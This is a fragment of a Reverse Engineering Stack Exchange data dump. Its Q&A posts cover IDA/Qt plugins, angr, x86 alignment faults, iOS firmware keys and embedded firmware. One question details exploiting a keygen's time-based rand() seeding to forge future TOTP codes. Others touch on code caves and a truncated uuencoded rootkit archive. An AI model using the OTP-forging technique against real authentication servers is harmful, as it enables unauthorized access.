CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13742" PostTypeId="2" ParentId="13741" CreationDate="2016-10-17T01:25:19.670" Score="1" Body="&lt;p&gt;Unfortunately IDA's builtin controllers are rather simple and do not support the full flexibility of the QT controls you're based on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily for you, IDA exposed most of the QT API directly, and plugin developers are not able to interface with QT directly. In the past this wasn't possible, and we were bound to the &lt;code&gt;Choose2&lt;/code&gt;, &lt;code&gt;Ask*&lt;/code&gt; functions.&#xA;I will not recommend anyone developing anything more than the simplest of plugins to use the provided IDA dialogs anymore. Instead, you should interface with QT directly for most of your UI development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although using QT is a bit more complex (you'll might need to deal with QT' signals and slots) it also enables a lot of flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is a short snippet that will let you update a list view. Every time the &quot;add item&quot; button is clicked, a new item will appear in the list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form PyQt5 import QtWidgets&#xA;&#xA;class ListViewDemoDialog(QtWidgets.QDialog):&#xA;    def __init__(self):&#xA;        super(ListViewDemoDialog, self).__init__(**kwargs)&#xA;&#xA;        # create a layout to place controllers (called widgets) on&#xA;        layout = QtWidgets.QVBoxLayout())&#xA;&#xA;        # create an empty list&#xA;        self.list = QtWidgets.QListWidget()&#xA;&#xA;        # create a button and connect it's &quot;clicked&quot; signal to our &quot;add_item&quot; slot&#xA;        self.addbtn = QtWidgets.QPushButton(&quot;Add item&quot;)&#xA;        self.addbtn.clicked.connect(self.add_item)&#xA;&#xA;        layout.addWidget(self.addbtn)&#xA;        layout.addWidget(self.list)&#xA;&#xA;        # make our created layout the dialogs layout&#xA;        self.setLayout(layout)&#xA;&#xA;     def add_item(self):&#xA;         self.list.addItem(&quot;This is an item&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-17T01:25:19.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13744" PostTypeId="1" AcceptedAnswerId="13766" CreationDate="2016-10-17T20:09:12.687" Score="2" ViewCount="720" Body="&lt;p&gt;Lately I've been inspecting a key generator program in IDA Pro. I believe the thread &lt;a href=&quot;https://security.stackexchange.com/questions/136557/random-key-generated-every-second-how-can-i-tell-how-it-is-created&quot;&gt;here&lt;/a&gt; discusses a similar key generator. Therefore, it may be referred to for certain details. The key generator takes a device serial number as input and generates a 32 byte (character) master key along with a &lt;a href=&quot;https://github.com/google/google-authenticator/wiki/Key-Uri-Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;OTPAUTH URI&lt;/a&gt; of the form in the link aforementioned.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The master key is only a function of the current time (in seconds from epoch). Therefore changes every second regardless of different serial numbers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the key changes every second, so does the OTPAUTH URI. I wonder how is the server supposed to verify a TOTP once a client enters it under this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;So now there are some new questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I authenticate to a server with this keygen knowing that the keygen is using &lt;code&gt;srand(time(NULL))&lt;/code&gt; for the seed while calling &lt;code&gt;rand()&lt;/code&gt; 8 consecutive times to generate a 32-byte random sequence.&lt;/li&gt;&#xA;&lt;li&gt;Is it logical to say the time step for the OTP codes is still 30 seconds while we know that the key and consequently secret are changing every second? Does this translate to the fact that the OTP validity is 1 seconds now?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; Isn't the server susceptible to creating TOTPs of the future and saving them in a repository by an adversary? While I'm writing this section 1476946414 seconds have passed since epoch. Assume creating a TOTP for the time equivalent to 1476947000 seconds passed from epoch. The keygen may be modified such that 1476947000 is passed to &lt;code&gt;srand()&lt;/code&gt; instead of &lt;code&gt;time(NULL)&lt;/code&gt;. Presumably there will also be enough time to derive the TOTP from the OTPAUTH URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Patching using IDA Pro 6.8:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought its better to continue in a hands on fashion. Scrolling through the disassembly, I changed the call to &lt;code&gt;time(NULL)&lt;/code&gt; to a &lt;em&gt;mov&lt;/em&gt; instruction, assigning my favorite time to &lt;em&gt;eax&lt;/em&gt;. In order to check my patch I ran the original keygen on the favorite time. The results were equivalent. Three things still bother me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;May the validation process the server carries out be concealed in the keygen or the keygen is what its only expected to be, a keygen?!&lt;/li&gt;&#xA;&lt;li&gt;The disassembly has a bunch of strings resembling openssl subroutines I presume. For instance &lt;em&gt;digest.c&lt;/em&gt;, &lt;em&gt;pmeth_gn.c&lt;/em&gt;, &lt;em&gt;pmeth_lib.c&lt;/em&gt;, etc. The codes are available on the web. However, I found no lucid documentation for a layman. I suspect if the server's validation parameters are defined here. I've also been able to detect SHA256 and SHA512 cryptographic constants in the disassembly using &lt;em&gt;findcrypt2&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I've been cautioned that the keys are generated using Linux. What effect may this have? I'm still on the Windows track!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Switching to Linux:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;So I installed Ubuntu 16.04 and ran the patched linux binary keygen. The key file and the secret were completely different from the ones generated by Windows for the same time. Before reaching the specified time, I created the HMAC and derived the TOTP codes for that specific time and entered them exactly on the specific time. However, I was not able to authenticate. It may seem that the server is not expecting TOTPs for the current time. I have no idea TOTPs for what time should I feed to the server!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While &lt;em&gt;findcrypt2&lt;/em&gt; did not find any sign of AES in Windows keygen binary, it did notice multiple &lt;em&gt;Rijndael&lt;/em&gt; 's in the Linux keygen binary (just adding as additional info).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have been able to receive the server binary. I think the authentication procedure must be outlined there. But where should I look?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is the Final Problem:&lt;/strong&gt;&#xA;The key generator program is used to produce device specific keys. There is a weakness in how these keys are generated which should be exploited to generate valid one-time codes for any device.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;The serial number may be any 9-digit number. I personally have been working with 381151134.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Usage: &lt;strong&gt;keygen [-g OR -m master_key_file] -k serial -o master_output_file&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To download the keygen Linux binary click &lt;a href=&quot;https://www.dropbox.com/s/b1m5k6gqdt3alu6/keygen?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. The Windows binary is found &lt;a href=&quot;https://www.dropbox.com/s/gphy562usvbvxk1/keygen.exe?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.943" LastActivityDate="2016-10-21T13:55:07.250" Title="Why does TOTP secret change every second?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="13749" PostTypeId="1" CreationDate="2016-10-18T11:25:06.923" Score="0" ViewCount="480" Body="&lt;p&gt;I have found a code cave in an executable and want to call winapi functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do i have to write in the assembly window to create a string which can later be referenced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For learning i changed not used existing strings in the executable (with an hexeditor) and pushed their address on the stack. This works. But how can i create them by myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this is a crosspost from stackoverflow)&lt;/p&gt;&#xA;" OwnerUserId="17790" LastActivityDate="2016-10-23T17:25:24.127" Title="create a string in ollydbg, x32dbg, immunity or similar" Tags="|ollydbg|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13750" PostTypeId="1" AcceptedAnswerId="13751" CreationDate="2016-10-18T11:53:53.167" Score="2" ViewCount="1600" Body="&lt;p&gt;Reversing an application that crashes at the last line of the following instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub rsp,68&#xA;mov qword ptr ss:[rsp+B0],rcx&#xA;mov qword ptr ss:[rsp+B8],rdx&#xA;mov qword ptr ss:[rsp+C0],r8&#xA;mov qword ptr ss:[rsp+C8],r9&#xA;movdqa xmmword ptr ss:[rsp+20],xmm0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm new to reverse engineering and trying to figure out how it is possible that this is crashing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The memory protection of rsp+20 should be the same as rsp+B0 for example ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X64DBG: EXCEPTION_ACCESS_VIOLATION&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: all numbers in the instructions are in hex! (68, 20, ...)&lt;/p&gt;&#xA;" OwnerUserId="17795" LastEditorUserId="17795" LastEditDate="2016-10-18T12:13:05.770" LastActivityDate="2016-10-18T13:28:28.970" Title="Moving xmm0 onto the stack results in a access violation exception" Tags="|stack|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13751" PostTypeId="2" ParentId="13750" CreationDate="2016-10-18T12:01:46.080" Score="3" Body="&lt;p&gt;According to definition of the assembly command &lt;code&gt;movdqa&lt;/code&gt;the memory operand should be aligned by 16 (see &lt;a href=&quot;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf&quot; rel=&quot;nofollow&quot;&gt;Intel SDM&lt;/a&gt; at Vol. 2B 4-63):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the source or destination operand is a memory operand, the&#xA;  operand must be aligned on a 16&#xA;  (EVEX.128)/32(EVEX.256)/64(EVEX.512)-byte boundary or a&#xA;  general-protection exception (#GP) will be generated. To move integer&#xA;  data to and from unaligned memory locations, use the VMOVDQU&#xA;  instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If 20 is not hexadecimal here, it would probably be the cause.&#xA;In addition if 20 here is hexadecimal, &lt;code&gt;rsp&lt;/code&gt; still may not be aligned as needed.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-10-18T13:28:28.970" LastActivityDate="2016-10-18T13:28:28.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13752" PostTypeId="1" CreationDate="2016-10-18T12:16:23.450" Score="2" ViewCount="581" Body="&lt;p&gt;Background: I want to convert Qt RTTI into symbols, to more easily navigate a large executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know already, Qt is a C++ application framework based on a message passing system. Since C++ has very little in the way of introspection and reflection, which are important features for an expressive message passing system, Qt comes with a tool called moc (Meta Object Compiler), which parses your source files and builds an index of classes, methods, properties etc. that need to be enumerated, resolved, etc. at runtime. Sadly, the metadata generated by moc is optimized for runtime access (in part because of limitations of the C++ language) and is slightly hostile to static analysis. In particular, you'd expect method tables like this (pseudocode):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;methods = {&#xA;    &quot;frob&quot; -&amp;gt; &amp;amp;frob,&#xA;    &quot;fuzz&quot; -&amp;gt; &amp;amp;fuzz&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but for several boring reasons, moc generates a dispatch method instead (pseudocode again):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dispatch(method, args) {&#xA;    switch(method) {&#xA;        case &quot;frob&quot;: return frob(args)&#xA;        case &quot;fuzz&quot;: return fuzz(args)&#xA;        default: return -1&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needless to say, decompiling even simple, machine-generated code is much, much harder than analyzing static data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conceptually, it's simple: find all dispatch functions, and run each of them in a simulator until it performs a call or returns; extract the method implementation address from the call opcode, write to symbol/map file with the method name. I already have a quick hack to identify dispatch functions (a hacked QtCore4.dll that hooks all objects and dumps their metadata), but I don't know what to use to decompile them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question: what (free) tools would you recommend to do this programmatically? At a minimum, I'd need a PE loader and an x86 simulator, Python preferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been pointed to &lt;a href=&quot;http://angr.io/&quot; rel=&quot;nofollow&quot;&gt;angr&lt;/a&gt;, which is impressive, and among other things translates code to a platform-independent IR, which increases the chances that I could actually release my code as a general purpose tool, but angr seems designed to do the complete opposite of what I need. Not only its documentation is sparse and impenetrable, but considering it's designed to derive the data from the code (and I already have the data!), it seems overengineered for my use case and would probably be unbearably slow even if I figured it out.&lt;/p&gt;&#xA;" OwnerUserId="17792" LastActivityDate="2016-11-17T17:27:01.313" Title="Programmatically reverse-engineering a dynamic dispatch method" Tags="|x86|c++|static-analysis|qt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13754" PostTypeId="2" ParentId="13752" CreationDate="2016-10-18T14:54:34.327" Score="0" Body="&lt;p&gt;The article &lt;a href=&quot;http://www.ntcore.com/files/qtrev.htm&quot; rel=&quot;nofollow&quot;&gt;&quot;Qt Internals &amp;amp; Reversing&quot;&lt;/a&gt; by Daniel Pistelli describes how Qt works on low level and how to reconstruct the slots and methods from the metadata (statically). It's probably a little outdated in regards to Qt5 but should be a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-18T14:54:34.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13755" PostTypeId="1" AcceptedAnswerId="13756" CreationDate="2016-10-18T15:14:47.683" Score="2" ViewCount="843" Body="&lt;p&gt;On the &lt;a href=&quot;https://www.theiphonewiki.com/wiki/Firmware_Keys&quot; rel=&quot;nofollow&quot; title=&quot;iPhone Wiki&quot;&gt;iPhone Wiki&lt;/a&gt; there are decryption keys for several, but not all, of the iPhone firmwares (root filesystems and kernelcache files). How were these keys found?&lt;/p&gt;&#xA;" OwnerUserId="14287" LastActivityDate="2017-02-15T18:46:03.500" Title="How are the iOS kernel cache and root filesystem decrypted?" Tags="|firmware|decryption|ios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13756" PostTypeId="2" ParentId="13755" CreationDate="2016-10-18T15:39:59.207" Score="2" Body="&lt;p&gt;AFAIK these keys are calculated by the bootrom code using the &lt;a href=&quot;https://www.theiphonewiki.com/wiki/GID_Key&quot; rel=&quot;nofollow noreferrer&quot;&gt;GID (model-specific) key&lt;/a&gt; which is disabled afterwards (IIRC) and cannot be used even if you have kernel code execution. So you need to have some kind of bootrom code exec for the specific model you have the kernelcache for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual keys are stored in the &lt;a href=&quot;https://www.theiphonewiki.com/wiki/KBAG&quot; rel=&quot;nofollow noreferrer&quot;&gt;KBAG section&lt;/a&gt; of the .img4 wrapper format, encrypted with the GID key.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-12-17T17:49:03.277" LastActivityDate="2016-12-17T17:49:03.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13757" PostTypeId="1" AcceptedAnswerId="13758" CreationDate="2016-10-18T15:44:21.407" Score="5" ViewCount="2289" Body="&lt;p&gt;There is an interesting article on Phack:&#xA;&lt;a href=&quot;http://phrack.org/issues/69/15.html#article&quot; rel=&quot;noreferrer&quot;&gt;http://phrack.org/issues/69/15.html#article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the article there is the source appended in a strange encoding. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;begin 664 hypervisor_for_rootkit.tar.gz&#xA;M'XL(`%?BS58``^P];7&amp;gt;B2-;]U3ZG_P/K[LXQTU$!$&amp;lt;R0S!Q4['C&amp;amp;1!\U[&amp;lt;PS&#xA;M/&amp;lt;=%*)5I!`8P+],[_WUO%:!@0,U+)YUNJF,+U*U;5??]E@7,;VSD7.JNY8RG&#xA;M\'$LR_NH&amp;gt;^57CUEH*`)-XV]&amp;amp;J,:^P_**87F^4N$96A!&amp;gt;T0S'5/A75/511Y%2&#xA;...&#xA;`&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to convert this back to the original archive?&lt;/p&gt;&#xA;" OwnerUserId="16938" LastActivityDate="2018-10-28T03:45:56.823" Title="Does anyone know this encoding?" Tags="|file-format|encodings|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13758" PostTypeId="2" ParentId="13757" CreationDate="2016-10-18T16:34:27.143" Score="7" Body="&lt;p&gt;This seems to be &lt;a href=&quot;https://en.wikipedia.org/wiki/Uuencoding&quot;&gt;UUencoded&lt;/a&gt; data.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-10-18T16:34:27.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13759" PostTypeId="2" ParentId="13752" CreationDate="2016-10-18T16:56:23.887" Score="3" Body="&lt;p&gt;Wow, I actually figured out enough of angr to do it. Consider this C program (an extremely simplified scale model of qt_metacall):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int foo(void) {&#xA;    return puts(&quot;foo&quot;);&#xA;}&#xA;&#xA;int bar(void) {&#xA;    return puts(&quot;bar&quot;);&#xA;}&#xA;&#xA;int baz(void) {&#xA;    return puts(&quot;baz&quot;);&#xA;}&#xA;&#xA;int frob(int n) {&#xA;    switch (n) {&#xA;    case 1:&#xA;        return foo();&#xA;    case 2:&#xA;        return bar();&#xA;    case 3:&#xA;        return baz();&#xA;    default:&#xA;        return -1;&#xA;    }&#xA;}&#xA;&#xA;int main(int argc, char **argv) {&#xA;    return frob(argc) &amp;lt; 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We compile it and we use angr to determine the address of frob, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;b = angr.Project('a.out', load_options={'auto_load_libs':False})&#xA;b.analyses.CFG()&#xA;&#xA;for addr in [f.addr for f in b.kb.functions.values() if f.name == 'frob']:&#xA;    print hex(addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(in my use case, my hacked QtCore4.dll will provide the list of qt_metacall methods to be disassembled)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then this script, invoked as script.py [executable] [address of dispatcher function] [method index], will print the address of the method with the specified index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;def main(argv):&#xA;    executable=argv[1]&#xA;    dispatcher=int(argv[2], 0)&#xA;    method_index=int(argv[3], 0)&#xA;&#xA;    # Load the executable&#xA;    b = angr.Project(executable, load_options={'auto_load_libs': False})&#xA;&#xA;    # Prepare a call to the dispatcher function, with the method index as its argument&#xA;    state = b.factory.call_state(dispatcher, method_index)&#xA;&#xA;    # Isn't there an easier way to make a closure in Python?!&#xA;    class CallAddr:&#xA;        value = None&#xA;&#xA;        def on_exit(self, state):&#xA;            # When the code performs a call, we've found the method that corresponds to the index&#xA;            if state.inspect.exit_jumpkind == 'Ijk_Call':&#xA;                # Resolve the address of the exit target, that's our method&#xA;                self.value = state.se.any_int(state.inspect.exit_target)&#xA;&#xA;    method_addr = CallAddr()&#xA;&#xA;    # Install breakpoint to analyze &quot;exits&quot; (i.e. jumps)&#xA;    state.inspect.b('exit', action=method_addr.on_exit)&#xA;&#xA;    # Step through the dispatcher function&#xA;    p = b.factory.path(state)&#xA;    p.step()&#xA;&#xA;    # Keep running until either a conditional or a call&#xA;    while len(p.successors) == 1 and method_addr.value is None:&#xA;        p = p.successors[0]&#xA;        p.step()&#xA;&#xA;    # No call was performed, method not found&#xA;    if method_addr.value is None:&#xA;        return 1&#xA;&#xA;    print hex(method_addr.value)&#xA;    return 0&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    import sys&#xA;    sys.exit(main(sys.argv))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Considering how powerful angr is (and how little of it I'm using), it feels like killing ants with a nuclear bomb, but it works&lt;/p&gt;&#xA;" OwnerUserId="17792" LastActivityDate="2016-10-18T16:56:23.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13760" PostTypeId="2" ParentId="13757" CreationDate="2016-10-19T01:36:14.717" Score="4" Body="&lt;p&gt;Guntram Blohm seems to be right. But in the spirit of &quot;give a man a fish and he has food for one day&quot;, magic mime is an easy way to figure out most formats. The &lt;code&gt;file&lt;/code&gt; command detects filetypes by their &quot;magic&quot; mime, i.e. markers left in the file (like you see &lt;code&gt;%PDF&lt;/code&gt; in PDFs and &lt;code&gt;PK&lt;/code&gt; in zip files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file&lt;/code&gt; accepts as argument a filename, like &lt;code&gt;file /tmp/unknown-file&lt;/code&gt;. It can also read from STDIN if you use &lt;code&gt;-&lt;/code&gt; as the &quot;file&quot; argument. This makes it easy to just figure out an encoding you're seeing without having to store the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat | file -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now paste the data and end with Ctrl+D (which signals 'end of input'). In your case, the result is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/dev/stdin: uuencoded or xxencoded, ASCII text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some formats it can give a lot of information, like for gzip compressed data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo test | gzip | file -&#xA;/dev/stdin: gzip compressed data, last modified: Wed Oct 19 01:36:02 2016, from Unix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15390" LastEditorUserId="15390" LastEditDate="2016-10-19T01:41:40.150" LastActivityDate="2016-10-19T01:41:40.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13761" PostTypeId="1" AcceptedAnswerId="13767" CreationDate="2016-10-19T04:15:18.383" Score="2" ViewCount="2351" Body="&lt;p&gt;I downloaded the paimei tool and dropped the pydbg package files inside .../paimai/pydbg then installed paimei but I can't seem to get pydbg to work. I keep getting an error with pydasm when trying to import pydbg. Any tips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have python 2.7 on windows 10.&lt;/p&gt;&#xA;" OwnerUserId="17804" LastEditorUserId="17804" LastEditDate="2016-10-20T06:24:21.283" LastActivityDate="2016-10-20T06:24:21.283" Title="Getting pydbg working on windows 10" Tags="|tools|debuggers|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13762" PostTypeId="1" AcceptedAnswerId="13763" CreationDate="2016-10-19T16:28:57.263" Score="2" ViewCount="509" Body="&lt;p&gt;What is the memory address information I should plug into IDA for this BIN file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GOAL&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disassemble a BIN file extracted from firmware.sb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This BIN file contains the low level board initialization, SDRAM clocks, power, Interrupt Controller, LCD, duart, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the values passed to the LCD, duart and other to know what exact hardware my board uses and to know if firmware for an earlier board will work on a later board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will use these values to create linux drivers at a later date. (LCD)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13720/how-to-make-freescale-imx233-mp3-player-boot-with-identical-type-player-firmware&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BACKGROUND INFO&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Board initialization sequence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the this BIN file is loaded into the on chip RAM (OCRAM) for minimal board init. &#xA;This code is executed and will init the rest of the board most important for this question the SDRAM.&#xA;More of this BIN file will load into the SDRAM then execute and init the rest of the board. This BIN will then load and pass control to the OS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a boot loader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple example of this using my custom u-boot and kernel. Oversimplified and information removed for brevity. Actual &lt;a href=&quot;http://pastebin.com/yRxf1svF&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIN file&lt;/a&gt; info.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD    addr=0x00001000 len=0x00001ef4&#xA;CALL    addr=0x00001000 arg=0x00000000&#xA;LOAD    addr=0x40002000 len=0x000368ec&#xA;LOAD    addr=0x40600000 len=0x002ed3c8&#xA;LOAD    addr=0x40a00000 len=0x00002b1e&#xA;CALL    addr=0x40002000 arg=0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is part of the &lt;a href=&quot;http://www.icpdf.com/FREESCALE_datasheet/MCIMX233DAG4B_pdf_12997699/MCIMX233DAG4B_1529.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;memory map&lt;/a&gt; for this μP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OCRAM 0x00000000 - 0x00007FFF 32KB&#xA;SDRAM 0x40000000 - 0x5FFFFFFF 512MB&#xA;Peripherals 0x80000000 - 0xBFFFFFFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of &lt;a href=&quot;http://www.icpdf.com/FREESCALE_datasheet/MCIMX233DAG4B_pdf_12997699/MCIMX233DAG4B_1530.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peripherals&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CLKCTRL 0x80040000 - 0x80041FFF&#xA;DBGUART 0x80070000 - 0x80071FFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The μP is a Freescale mx23 or imx233.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This board has 16MB SDRAM 0x40000000 - 0x01000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the “ARM architecture options” &lt;a href=&quot;http://3.bp.blogspot.com/-COKB6o6fBJE/Ubd4-TUSzYI/AAAAAAAAAQw/km7kDeNoUB8/s1600/Screen+Shot+2013-06-11+at+9.21.48+PM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;dialog&lt;/a&gt; I set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base architecture as &lt;strong&gt;ARMv5TEJ&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VFP instructions as &lt;strong&gt;NONE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thumb instructions as &lt;strong&gt;Thumb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the “Disassembly memory organization” &lt;a href=&quot;http://4.bp.blogspot.com/-ioHEcxtZQk8/Ubd2BBkIdlI/AAAAAAAAAQI/pCalNgAYN9M/s1600/Screen+Shot+2013-06-11+at+9.06.42+PM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;dialog&lt;/a&gt; I am unsure what to set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the RAM section my SDRAM, 0x40000000 - 0x01000000?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the ROM section my OCRAM, 0x00000000 - 0x00007FFF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about Input file loading address, file offset, loading size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the loading size be the 16MB of my SDRAM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the peripherals addresses go?&lt;/p&gt;&#xA;" OwnerUserId="13785" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-10-19T21:32:53.780" Title="What values do I use for Freescale ARM imx233 μP in IDA Pro “memory layout dialog” for RAM and ROM?" Tags="|ida|disassembly|arm|memory|" AnswerCount="1" CommentCount="0" 